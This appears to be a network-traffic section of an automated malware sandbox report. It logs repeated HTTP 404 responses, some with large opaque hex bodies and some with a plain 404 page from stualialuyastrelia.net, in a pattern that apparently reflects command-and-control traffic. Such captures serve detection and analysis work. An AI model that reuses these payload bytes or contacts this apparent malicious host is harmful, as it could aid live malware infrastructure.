Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Tue, 19 Dec 2023 02:22:22 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 66 36 36 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 ed 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 db fa 6a c6 86 04 12 fc 2a 54 e9 30 f6 c7 35 f3 73 07 03 d2 1f f9 d8 fa e0 b3 89 71 cd 37 33 33 d1 68 73 45 7c 1f 57 44 8d e8 be 3c 50 35 51 fe 08 22 b9 7f 18 66 3d 28 2a 87 6a dd d6 be db 43 11 5c 53 a6 cd f6 4d 55 64 91 54 5b fd 55 19 d0 ed 05 70 b1 17 22 58 4a 33 4f 62 3e 15 21 0b 5a a3 06 93 3a 56 3f cb 00 23 be 42 15 d7 07 53 53 aa 8e 1f 9e 51 08 56 2b ae 9f 4e 18 7e 45 f7 ff 78 8d 55 db 24 0d 10 12 b4 1f e8 92 24 98 53 c5 03 29 8f a1 61 7e de f5 ed 89 19 17 7e 4f af 9a a5 e4 d5 a0 c1 b9 9d 7a 0d 80 4e 19 e0 2e 95 a9 1d 1a f5 96 be 25 51 61 9f d4 3e 7c 88 28 c8 48 6b 41 a0 4a 9a 07 fd ec 36 db 64 ac 85 2f bd e0 0d c0 4d bf 46 24 fd f8 12 6c 23 6c 29 6c 0a 8d c7 fd e4 0e b4 eb 7e 71 eb 80 f5 1a 68 9b 4a d8 8d 4d d0 4f 5f 79 82 ae 9c 97 5d 4c dd 8d ac f3 57 3b 2a b9 72 ee cc 23 b2 75 0e 31 79 92 90 f7 df f5 ec e7 72 2b 4c 80 00 b3 e5 13 7f 11 bb d6 af 31 3c 27 d4 69 b7 9f 33 c9 cc 46 d9 48 15 ac af eb d9 55 3d af ba 68 a2 d7 e3 9d 3f 7f 55 40 57 64 7b 39 66 e7 ac 04 28 24 5e 40 e7 9a c7 9b 84 e7 3d 66 f1 8a 64 b1 1d 30 12 51 8c 70 17 4b 81 6b df 8e 82 01 e8 e4 31 2a c4 e8 3a a1 54 55 03 01 ab 1b 6f d3 cb 29 32 b8 fb 5b 1e 50 ab 1e 26 7d 11 ee c3 ce 57 a3 4c 1d 85 1f f4 5c 68 f1 b2 5b 62 90 58 3f ae 03 95 a9 1f e4 a6 dd 0c 9f 10 f7 d9 b0 99 93 85 8a cd e4 7f 74 79 50 6d 43 cc b9 8b 8b a1 62 7a 97 b2 ec a2 94 4a a9 b4 bb e1 7d 55 28 d2 5e 5a 1f d0 bb aa 7a 8f 14 77 e3 cd d0 d9 37 00 80 e3 1c c9 20 f5 52 08 c4 3a 56 63 b9 94 65 5c dc e5 7e e5 7d 71 d4 03 eb f3 98 76 b2 0e ca 82 33 39 2e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 1f 29 43 03 9c 55 03 62 18 3a 1d f8 40 aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Tue, 19 Dec 2023 02:22:24 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 74 75 61 6c 69 61 6c 75 79 61 73 74 72 65 6c 69 61 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at stualialuyastrelia.net Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Tue, 19 Dec 2023 02:22:25 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 66 36 36 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 19 88 e2 e3 7f e9 42 61 eb 48 d8 20 5a f3 c4 19 b3 0c b4 02 15 7d 4d 54 75 fd db b1 7f 75 b8 45 3d 75 69 51 07 3e 74 0f 60 bb 6b ae 84 45 78 25 a4 05 01 f2 fa fc 7d 83 59 04 fb 5e 09 cc 3f 1e 2e e1 4b 87 f7 da 06 a7 e5 71 61 dc 59 3d 9d 10 97 aa 50 87 53 61 6a bc 76 9b ad 89 c0 de e8 05 b9 5e 40 1f f1 09 06 22 09 7a 77 2a e4 9b d7 1c 25 59 3d 9f 65 41 d6 0d 68 03 4f 08 4b e9 1e b8 fa 9e be 36 31 39 26 cf be 9b 22 31 44 f4 27 2f dd 30 61 f0 9b 60 1c 91 72 4c 31 27 1d 6f 2c 4b 7b 42 2b 3f c4 63 e0 4e 37 4c eb 65 56 9e 2c 60 bb 6b 32 73 94 a4 71 be 69 6c 3f 5b 8a ff ad 5b 3b 31 9e 9e 15 ad 27 b3 ab 63 70 66 cc 3e 93 fb 57 7d 3c e5 70 c4 af 81 12 1f ae 9c 0c d7 39 61 0b 33 df ef d1 25 bd c5 ed 99 ac 0f 64 e3 6e 7f 89 42 fc cb 6d 69 d5 e5 df 55 38 04 f4 f4 4d 13 ec 49 a4 2d 18 8f e0 0e ef 6a 8e cc ed c3 0f 8c e6 42 d8 15 2d b3 38 d2 66 50 88 91 3c 4c 70 1e 48 0f 2a ee a8 93 97 6b c7 9f 1b 05 9e f2 d5 7f 1a f4 39 f8 70 c0 ec 29 5e 15 eb dd bc e2 6e 38 07 3f ce 96 24 17 0a d8 06 ce bc 4c c1 00 6b 43 1c b2 fe 92 ae 80 89 c7 02 47 2d e3 b5 60 98 67 4d 1b b1 98 da 5f 5f 07 b7 06 d9 ec 56 aa b8 23 ad 3d 67 8c cc 9e ab 26 48 dc 9a 1e f7 60 9a f3 1e 0b 3c 33 79 44 32 57 46 85 c0 65 46 e0 2b 34 57 fd a6 f8 ed 8b 54 15 98 f9 44 d4 65 1c 32 24 f8 50 67 27 e0 08 ba fc e3 75 c8 8a 7a 2f d4 f5 60 81 17 27 c4 fd 97 7a 1b e3 a2 59 41 5d 8a 7b 6e 3b d8 6b 43 0f 74 c2 e3 a3 38 cf 29 6e f1 76 b1 7c 04 f4 f3 09 75 94 48 72 8e 66 37 80 76 82 c3 13 74 bf 64 d6 ab c4 f6 75 b7 aa 8c 88 16 05 0c 31 00 63 b8 d6 f9 ff 8e 10 5a bb fd eb b6 93 07 89 d8 da 62 13 79 41 b3 8e 27 7c f0 cf df 14 ec d6 1d 86 a1 fc f9 53 69 e3 97 69 a4 00 9a 20 26 a5 48 f3 6d a7 86 74 4a af cb 5e 0c c3 1e b1 62 85 8c fd 03 4e 62 ab fa a6 48 5b ec b6 a3 85 1b b8 82 cb 64 d9 bf b5 32 09 26 24 f9 21 23 04 79 59 74 94 29 d9 c7 fb e1 aa d4 5f 49 1c f4 89 87 9d a1 5c eb 8c 6c 8b ab 4c 7a c5 77 98 01 d2 7c fa f4 6a 33 e5 d8 ff 86 79 b7 27 d5 ad 8b f3 70 87 ca 3c 20 93 d0 03 e2 30 ac 88 75 d7 7c fc 54 eb e7 74 36 4c 21 14 2c 77 e4 e4 1b ad 43 07 f9 be 4c 2b 34 15 ad be 00 6a db 15 c7 57 31 58 23 4d 42 3e b4 cf cc 0d 8c 91 f8 f1 19 79 3b 12 a5 85 87 40 2b a1 50 73 61 67 67 8c 78 3e ad aa 3f 54 d7 5a be 62 74 3f 70 79 28 7a 78 da 6a 36 31 fa 1d d9 8b 5d 43 6e 4e 85 98 35 c3 b3 e7 05 70 ff 31 1d 2c 61 5a c6 21 e3 97 b2 b3 74 04 0d f3 e9 d5 24 ba 1a 03 bd 65 b0 70 ec a7 ed e2 4b 40 63 5b e3 e2 f1 8b de b0 cb 5e a1 1d f9 ad 3e df 92 e2 11 00 66 9b 96 8f f2 84 13 80 c7 1a e8 cb 3b 28 6f 59 fa 1b 47 a2 73 cc cc c9 a7 35 50 f1 89 b2 de 5f 19 b4 e7 c8 b0 cf ff 69 1d 02 e1 80 2f 77 b4 f0 09 36 3b b9 ce 3b 12 43 a9 a2 f8 e7 ca fb f2 de bf d
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Tue, 19 Dec 2023 02:22:26 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 74 75 61 6c 69 61 6c 75 79 61 73 74 72 65 6c 69 61 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at stualialuyastrelia.net Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Tue, 19 Dec 2023 02:22:27 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 66 36 36 0d 0a 02 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 99 8f e2 e3 25 6a af 65 f6 b8 09 70 47 1e 56 0b fb fe 30 55 bb 40 01 05 01 0c 4f ec 78 0e a3 0e 95 d6 e9 1a 15 4d 0f 43 b7 56 f4 f3 ff 5b 64 75 4b e5 de ec 54 54 e4 cf d8 f3 6f 40 83 64 5d 56 f5 0c db cb b3 79 9a f8 14 86 e3 c2 3f ae c6 0e bf 44 c4 cd 66 fd 2f ec 09 7b 29 c4 81 48 fc 4f 00 b4 c2 0d d6 9d 1e 7b 74 9c a6 7a 0f 0f 4d 03 3a b7 a0 c0 7b 3c d3 41 5c e5 cc 16 5c 56 18 e3 a1 3d 2a 7d 17 82 a2 99 a9 74 bc 6b 2b d4 df 65 c5 d7 e8 ee 77 df 85 8e 46 a1 a9 74 99 20 5c 00 27 a3 fa 64 cb 85 63 04 b6 bc 3a 3e 46 6f 52 2b 41 84 a2 6d 92 48 ef a0 ff 8b a3 15 4f e2 bc 45 9a c6 06 c1 87 50 a1 e4 08 8f e2 2d 25 c4 14 ad 4d 8a be fb 99 7b 3f 9e 90 fc 2f cb d3 61 e9 28 74 dc 5e a4 f7 2d aa c8 a9 3a 2c 44 0d 90 4e 19 e0 2c 95 a9 18 1a f5 96 be 25 51 61 9a d4 3e 7c 88 28 c8 48 6b a1 c0 4a 9a 03 fd ec 9e aa 7b ac 87 2f bd 61 0d c0 5d bf 46 34 fd f8 12 6c 33 6c 29 7c 0a 8d c7 fd e4 0e a4 eb 7e 71 eb 80 f5 1a 68 9b 4a d8 19 ae cc 4f 3b 79 82 ae 9c 97 02 4c 75 56 ad f3 57 3b 2a b9 22 ab cc 23 fe 74 08 31 3d 66 b9 b0 df f5 ec e7 72 2b 4c 80 30 12 fb 32 68 10 be c7 af 81 3c 27 d4 7f 9e 9f 33 8f d8 46 69 5d 15 ac af fb d9 55 3d 6f ba 68 92 0e ff 8d 7f 6f 55 40 57 74 7b 39 63 e7 ac 04 28 84 42 40 72 9b c7 9b 84 e7 3d 66 f1 0a 44 b1 1d 20 12 51 8c 70 17 4b 83 6b df 8e 82 01 f8 e4 1f 4e a1 90 4e a1 44 55 a5 9e b7 1b 6f c3 cb 29 22 28 e7 5b 36 54 ab 1e 25 7d 11 ee 43 5b 41 a3 28 1d 85 1f d4 7c 77 91 1c 22 06 f1 2c 5e ae 03 5b e5 1f e4 a6 7d 10 9f 10 b9 d9 b0 99 37 86 8a 09 dd 7e 74 18 90 6d 43 d0 b9 8b 8b e1 62 7a d7 9c 88 c3 e0 2b a9 b4 bb 01 7a 17 28 d2 ae 46 1f d0 a1 aa 7a 8f f6 6b e3 cd d0 d9 37 00 80 e3 1c c9 20 f5 52 48 04 3a 96 11 cb e7 17 3f dc e5 7e 4d a6 70 d4 03 eb ac 98 76 6e 0f ca 82 cf 25 2e 9f 96 ce ec 1b ec a6 df 79 a8 ca d4 df 80 43 43 9c 45 03 62 18 8a 1d f8 40 ba ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f f2 e2 09 88 a5 51 7a cd 6c d9 77 b3 95 4b 94 19 13 48 b9 8c f5 f8 82 52 b9 01 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 47 b2 52 9c 34 fa ea 6c 36 21 01 7d fe d7 83 96 7f 78 38 27 9d 0f 3e 42 56 c0 c8 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f ef 85 b8 b8 d0 d2 e1 fc 08 18 5e 32 32 70 f6 32 42 42 20 16 12 e7 0e e9 17 60 94 e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 56 b3 19 9f 3f fd 1a 8b 87 39 2a 01 ee fa fd 58 b3 fc 8a 25 1c 80 53 72 5e 05 2c b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 10 2d 62 d3 6b 93 60 e9 bb ff 97 2e 1c 5b 3b 93 8b a4 fa fe d6 fe 33 c8 6e f5 92 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 a1 a2 3a c6 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Tue, 19 Dec 2023 02:22:28 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 74 75 61 6c 69 61 6c 75 79 61 73 74 72 65 6c 69 61 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at stualialuyastrelia.net Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Tue, 19 Dec 2023 02:22:28 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 66 36 36 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 9d 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 8b bf 6a c6 ca 05 15 fc bb f2 9f b8 f6 c7 35 f3 73 07 03 d2 ff f9 da fb eb b2 b9 71 cd f7 31 33 d1 02 62 45 7c 1f 57 44 95 26 d3 3c 50 15 51 fe 08 c2 bb 7f 18 66 7d 28 2a a7 6a dd d6 bc db 43 15 5c 53 a6 cd f6 4d 55 60 91 54 5b fd 55 19 d0 ed 05 eb b1 17 26 58 4a 84 dc 23 3e 17 21 4b da a3 06 83 3a 56 2f cb 00 23 be 52 15 d7 17 53 53 fa cb 1f 9e 0d 09 52 2b e5 8d 83 7b 7e 45 f7 ff 42 0d 41 db 94 0d 13 13 bf be f5 92 d4 82 4e c5 03 a1 cb a1 61 7e de f5 69 0b 59 17 a6 00 af 9a a5 44 c9 a0 c1 b9 dd 7a 0d 90 4e 19 e0 2c 95 a9 18 1a f5 96 be 25 51 61 9a d4 3e 7c 88 28 c8 48 6b a1 c0 4a 9a 03 fd ec 9e aa 7b ac 87 2f bd 61 0d c0 5d bf 46 34 fd f8 12 6c 33 6c 29 7c 0a 8d c7 fd e4 0e a4 eb 7e 71 eb 80 f5 1a 68 9b 4a d8 19 ae cc 4f 3b 79 82 ae bc b7 22 6c 55 76 8d d3 57 fb 28 b9 72 ce cc 23 b2 63 0f 31 79 96 90 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 43 11 bb b6 8f 11 1c 07 f4 49 97 bf c8 ae dd 46 d9 a8 17 ac af 21 c9 55 3d b5 bb 68 92 0e ff 9d 7f 7f 55 40 57 64 7b 39 26 e7 ac 44 08 a4 62 60 57 bb e7 bb 88 e7 3d 66 f1 ea 70 b1 1d 32 12 51 8c 94 06 4b 81 6b df 8e 82 01 e8 e4 1f 5e a1 90 0e a1 54 17 8b e7 d3 7a 1b a2 cb 29 32 08 e7 5b 1e d4 bf 1e 26 7f 11 ee c3 28 46 a3 4c 1d 85 1f d4 5c 68 91 9c 29 06 f1 6c 5e ae c3 75 97 6c 96 c5 7d 10 9f 10 35 d8 b0 99 a7 8d 8a cd 68 7e 74 79 b8 7c 43 cc b9 8b 8b e1 62 7a d7 9c 88 c3 e0 6b a9 b4 fb 2f 0e 7f 4d bf c7 22 7e d0 21 fd 7a 8f b6 7d e3 cd d0 d9 37 00 f4 f0 1c c9 20 f5 52 48 c4 3a 96 4d cb e7 17 5f dc e5 9e 63 c4 1f bb 77 eb ac 98 76 50 22 ca 82 0f 48 2e 9f a8 e3 ec 35 ec d0 a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 78 3a 1d 98 40 aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Tue, 19 Dec 2023 02:22:30 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 74 75 61 6c 69 61 6c 75 79 61 73 74 72 65 6c 69 61 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at stualialuyastrelia.net Port 80</address></body></html>0
